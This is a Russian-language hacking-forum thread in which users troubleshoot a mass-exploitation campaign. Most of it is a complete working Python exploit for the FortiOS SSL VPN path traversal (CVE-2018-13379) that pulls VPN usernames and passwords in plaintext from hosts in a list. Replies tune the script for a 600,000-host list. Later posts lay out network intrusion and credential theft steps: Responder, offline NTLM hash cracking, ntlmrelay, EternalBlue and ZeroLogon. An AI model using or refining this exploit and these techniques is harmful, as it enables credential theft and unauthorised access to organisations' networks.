• XSS.stack #1 – первый литературный журнал от юзеров форума

[net-hacking] Вопросы по сетям

Странно, должно работать, потестил. Попробуй создать файл ip.txt вида 127.0.0.1 127.0.0.2 и т.д..
Больше заветного количества короче. Если так же тормознёт, нужно глянуть вывод -m trace , что тормозит. Но может оказаться проще "железо" сменить, если это виртуалка или дедик.
Есть вообще закономерность какая, кроме 10 штук? Хост конкретный, положительный/отрицательный результат на последнем и т.д.?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Без output'a?
в том скрипте есть вывод по умолчанию как помню - так что необязательно его ставить в запуске и потоки тоже
В целом он достаточно багованный - так что не нагружай командами
будут проблемы по прежнему постучи в пм дам свою копию
 
Странно, должно работать, потестил. Попробуй создать файл ip.txt вида 127.0.0.1 127.0.0.2 и т.д..
Больше заветного количества короче. Если так же тормознёт, нужно глянуть вывод -m trace , что тормозит. Но может оказаться проще "железо" сменить, если это виртуалка или дедик.
Есть вообще закономерность какая, кроме 10 штук? Хост конкретный, положительный/отрицательный результат на последнем и т.д.?
В файле 600к строк, и он может затормозить на этом:
[+] Start exploiting....141.219.86.203:10443
[!] Check vuln...
Дальше либо через ctrl + c либо сам, но через минут 5-10 проходит, а бывает, что не проходит и просто на этом останавливаеться, не понимаю в чем проблема
Если закидывать 1 хост уязвимый или все уязвимые, то начинает выдавать txt и dat, а если неузвимые, то происходит то, что выше
 
Первый работает, если в текстовике 1-10 хостов которые надо просканить, если больше, он начинает останавливаться и через ctrl + c продолжает работу, но также ненадолго
Возможно, создается по треду на таргет и где-то в процессе ловится дедлок, сплоиты на питоне, как правило, написаны не оч хорошо.
а fortigate.py просто сканит все хосты очень быстро и нет ни одного валида
Код не видел, но скорее всего там где-то слишком широко перехватывается исключение, и из-за незначительной ошибки (в формате урла и т.д.) таргет считается неподверженным уязвимости.
 
В файле 600к строк, и он может затормозить на этом:
Python:
# Changed a few things to my likings and it wasn't working for me at start (k4nfr3)
#
#
# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#
# It takes a INPUT file where each line is a host
# Output is on screen and files (raw and extracted username password in txt file)
#
#
# !/usr/bin/env python
import requests, sys, time
import urllib3
import re
from requests.exceptions import Timeout

urllib3.disable_warnings()

def leak(host, port):
    print("[!] Leak information...")
    try:
        url = "https://" + host + ":" + port + "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
        headers = {"User-Agent": "Mozilla/5.0",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close",
                   "Upgrade-Insecure-Requests": "1"}
        r = requests.get(url, headers=headers, verify=False, stream=True)
        img = r.raw.read()
        if "var fgt_lang =" in str(img):
            with open("sslvpn_websession_" + host + ".dat", 'wb') as f:
                f.write(img)
            print("[>] Save to file ....")
            out = parse(host)
            with open("sslvpn_websession_" + host + ".txt", 'w') as f2:
                f2.write(out)
            print("\n")
            return True
        else:
            return False
    except requests.exceptions.ConnectionError:
        return False


def is_character_printable(s):
    if (s < 127) and (s >= 32):
        return True
    else :
        return False


def is_printable(byte):
    if is_character_printable(byte):
        #print(chr(byte))
        return chr(byte)
    else:
        return '_'


def read_bytes(host, chunksize=8192):
    print("[>] Read bytes from > " + "sslvpn_websession" + host + ".dat")
    with open("sslvpn_websession_" + host + ".dat", "rb") as f:
        while True:
            chunk = f.read(chunksize)
            if chunk:
                for b in chunk:
                    yield b
            else:
                break

def printentry(mystring):
    to_remove = "_"
    pattern = "(?P<char>[" + re.escape(to_remove) + "])(?P=char)+"
    cleaned = re.sub(pattern, r"\1", mystring)
    out = ("[$] "+" ".join(cleaned.split("_")[1:]))
    print(out)
    return out

def printout(final):
    output=''
    ips = re.findall("\B(?:[0-9]{1,3}\.){3}[0-9]{1,3}\B", final, flags=re.MULTILINE)
    start=0
    for ip in ips:
        n = len(ip)
        for i in range(len(final[start:])) :
            if final[i:i+n] == ip :
                start=i
                printentry(final[i:i+215])
                output+="\n"+ printentry(final[i:i+215])
    return output

def parse(host):
    final=''
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
        ascii_string = ascii_string + is_printable(byte)
        if memory_address % 61 == 60:
            #if ascii_string != ".............................................................":
            if ascii_string != "_____________________________________________________________":
                #print(ascii_string)
                final += ascii_string
            ascii_string = ""
        memory_address = memory_address + 1
    print("[!] Extracting username and passwords")
    print("")
    return printout(final)


def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False, timeout=5)
        if (r.status_code == 200):
            return True
        elif (r.status_code == 404):
            return False
        else:
            return False
    except Timeout:
        print("Timeout")
        return False
    except Exception as e:
        print(e)
        return False
    except:
        print("Exception")
        return False


def main(hostname, myport):
    print("[+] Start exploiting...." + hostname + ":"+str(myport))
    vuln = check(hostname, myport)
    if (vuln):
        print("[+] "+hostname+" is VULNERABLE!")
        bin_file = leak(hostname, myport)
    else:
        print("[X] "+hostname+" is not vulnerable.")


if __name__ == "__main__":
    if (len(sys.argv) < 2):
        print("Use: python {} iplistfile".format(sys.argv[0]))
    else:
        file = open(sys.argv[1], 'r')
        mylist = file.readlines()
        for host in mylist:
            main(host.strip(), str(10443))  #hardcoded port number

Откровенно говоря этот эксп не очень подходит для 600к строк, возможно дело в таймауте. Задается на 124 строчке, поставил 5 секунд.
Попробуй этот код.
 
В шестой строке причина тормозов на большом файле:
Python:
if __name__ == "__main__":
    if (len(sys.argv) < 2):
        print("Use: python {} iplistfile".format(sys.argv[0]))
    else:
        file = open(sys.argv[1], 'r')
        mylist = file.readlines()
        for host in mylist:
            main(host.strip(), str(10443))  #hardcoded port number

Можно исправить
Python:
if __name__ == "__main__":
    if (len(sys.argv) < 2):
        print("Use: python {} iplistfile".format(sys.argv[0]))
    else:
        file = open(sys.argv[1], 'r')
        for host in file:
            main(host.strip(), str(10443))  #hardcoded port number

Вообще по-хорошему надо все переписать. Выделить проверку на уязвимость отдельно, эксплуатацию отдельно, многопоток отдельно.


Еще, при коннектах к таким устройствам часто бывают проблемы согласования параметров SSL/TLS,тоже надо учесть.
 
Доброго времени, вопрос такой, вот была найдена допустим уязвимость етерналблу, каким образом ее искать? то есть мне вообщем интересно как искать уязвимости в сетевых протоколах, видал фаззинг, так понимаю это метод грубой силы, то есть получается есть еще какие то методы, если есть возможность, буду благодарен за статьи,книги и любую инфу, так как от незнания данной тематики нету четко сфррмированного вопроса , а при таком написание вопроса "фаззинг сетевых протоколов", "поиск уязвимости ..." выходит почти тоже самое, и везде все очень мимолетнр затрагивают тему эту. Есть мысль что нужно снифать пакеты в локальной сети и пытаться менять разные значения, но это вроде как фаззинг , да и бесплатную программу для этого найти без опыта и четких целей затруднительно. Хотелось бы в идеале научиться понимать это все и на практике самому помучать разные протоколы, будь то смб,рдп и т.д., а то использование чужих эксплоитов это как скрипт кидди, да и не так интересно, и можно ли в винде допустим получить код той же самбы или это только реверсом возможно. Каким образом вообще ищут и находят эти дыры. Заранее блвгрдарю, тема для меня очень интересна , но пока не вышел на достойную прямую)
 
Комрады. Подскажите команду чтобы узнать на тачке родительский гипер на VMware на которм она крутится через ПШ или смд. Для винды знаю проходит. Для вмвейр есть команды, но ни одна не срабатывает. Кто подскажет правильную и рабочую команду
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Комрады. Подскажите команду чтобы узнать на тачке родительский гипер на VMware на которм она крутится через ПШ или смд. Для винды знаю проходит. Для вмвейр есть команды, но ни одна не срабатывает. Кто подскажет правильную и рабочую команду
Попробуй эту

Код:
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" --cmd "info-get guestinfo.hypervisor.hostname"
"C:\Program Files\VMware\Vmware Tools\vmtoolsd.exe" --cmd "info-get guestinfo.hypervisor.build"
 
Приветствую! Появилась необходимость в том, чтобы просканировать сеть строго из терминала!
До этого всегда использовали SoftPerfect Network Scanner под винду. Сейчас же решение нужно под дебиан, убунту.
Есть у кого-то идеи?

Так же вопрос по поводу впна форти (forti) на кали.
Условно если законнектиться к впну на сервере - пропадет ли ssh коннект с сервером из-за того, что сервер подключился к впну?
1)nmap
2)Да, пропадает
 
есть варианты как это решить кроме того, как поднимать отдельную виртуалку?
за nmap спасибо, я про него что-то забыл :D
много мозговой ебли, проще поднять виртуалку)
 
Подскажите пожалуйста, допустим подключился я к форти, вижу в нслукапе - дк и в роут принте диапазоны, нахожу машины в нетскане, но креды не подходят, что можно заюзать, чтобы достать креды для подключения к одному из хостов? Буду очень признателен.
Пробить на эксплойты тачки в сети(BlueeKeep, eternalblue, ZeroLogon на дк), это из самого быстрого. Можно запустить Responder, словив NetNTLM хэши, в зависимости от версии NTLM(v2 будет дольше) - взломать их офлайн атакой по словарю, если не получается - чекать на наличие в сети ipv6, в таком случае можно прикинуться DNS сервером и сделать ntlmrelay на какой-то из компов. Это то что стоит делать в первую очередь при попадании внутрь, а там уже по ситуации.
 
Всем привет,такой вопрос: каким софтом можно модифицировать HTTP трафик на локальной машине.Я уже MITM ,мне не нужен arp spoofing. Пробовал bettercap ,там есть модуль http.proxy но для его работы,как я понял нужен arp spoofing ,там еще есть packet.proxy но для него нужно самому писать плагины.Также пробовал написать скрипт на python но чето не работает
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх